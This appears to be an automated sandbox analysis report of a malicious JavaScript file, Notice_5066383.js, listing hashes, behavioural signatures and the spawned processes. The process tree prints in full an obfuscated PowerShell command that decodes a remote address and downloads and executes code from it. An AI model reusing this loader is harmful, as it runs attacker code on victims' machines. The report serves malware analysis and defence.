Analysis

  • max time kernel
    508s
  • max time network
    572s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2023 01:24

General

  • Target

    Notice_5066383.js

  • Size

    487KB

  • MD5

    2654dc8542d95f0e31ece8b4135171f4

  • SHA1

    1073e5881f32632f7abcf7dfb234328499c3946c

  • SHA256

    f48513609d7c4a1538802b58e9d5b3e1a2248170c6518a1da7e3ea003a6b2fbf

  • SHA512

    76bc5fab34c59fdba5ab8d5e37fc89cbc15c970f54a85014f2e14307d351f1219bcd81c1a9ab5281153bdaa4c54391fe6359d140ba6e4019b26329e00749a672

  • SSDEEP

    3072:KbCLrEna486d8EiBm7mUYn15yu1hOHaoGFtk9dMpBV064I:es

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Notice_5066383.js
    1⤵
      PID:1044
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $gmiqvycdjatu=('grep','add-txt','set-width', 'font-extract'); $rqkcjoyediwh=@(6639,6618,6622,6620,6618,6639,6563,6633,6628,6629,6564,6566,6563,6629,6621,6629,6580,6621,6614,6632,6621,6578);foreach($rob9e in $rqkcjoyediwh){$awi=$rob9e;$eowbuxctdiln=$eowbuxctdiln+[char]($awi-6517)};$gmiqvycdjatu[2]=$eowbuxctdiln; ;$dftezw='rl';$five=1;new-alias zwert cu$dftezw;.$([char](9992-9887)+'ex')(zwert -useb $gmiqvycdjatu[7487-7485])
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4224
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $gmiqvycdjatu=('grep','add-txt','set-width', 'font-extract'); $rqkcjoyediwh=@(6639,6618,6622,6620,6618,6639,6563,6633,6628,6629,6564,6566,6563,6629,6621,6629,6580,6621,6614,6632,6621,6578);foreach($rob9e in $rqkcjoyediwh){$awi=$rob9e;$eowbuxctdiln=$eowbuxctdiln+[char]($awi-6517)};$gmiqvycdjatu[2]=$eowbuxctdiln; ;$dftezw='rl';$five=1;new-alias zwert cu$dftezw;.$([char](9992-9887)+'ex')(zwert -useb $gmiqvycdjatu[7487-7485])
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2420

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lkeylqxp.tdo.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2420-10-0x00007FFDB4E00000-0x00007FFDB58C1000-memory.dmp

      Filesize

      10.8MB

    • memory/2420-5-0x0000022B51BE0000-0x0000022B51C02000-memory.dmp

      Filesize

      136KB

    • memory/2420-11-0x0000022B6A150000-0x0000022B6A160000-memory.dmp

      Filesize

      64KB

    • memory/2420-12-0x0000022B6A150000-0x0000022B6A160000-memory.dmp

      Filesize

      64KB

    • memory/2420-15-0x00007FFDB4E00000-0x00007FFDB58C1000-memory.dmp

      Filesize

      10.8MB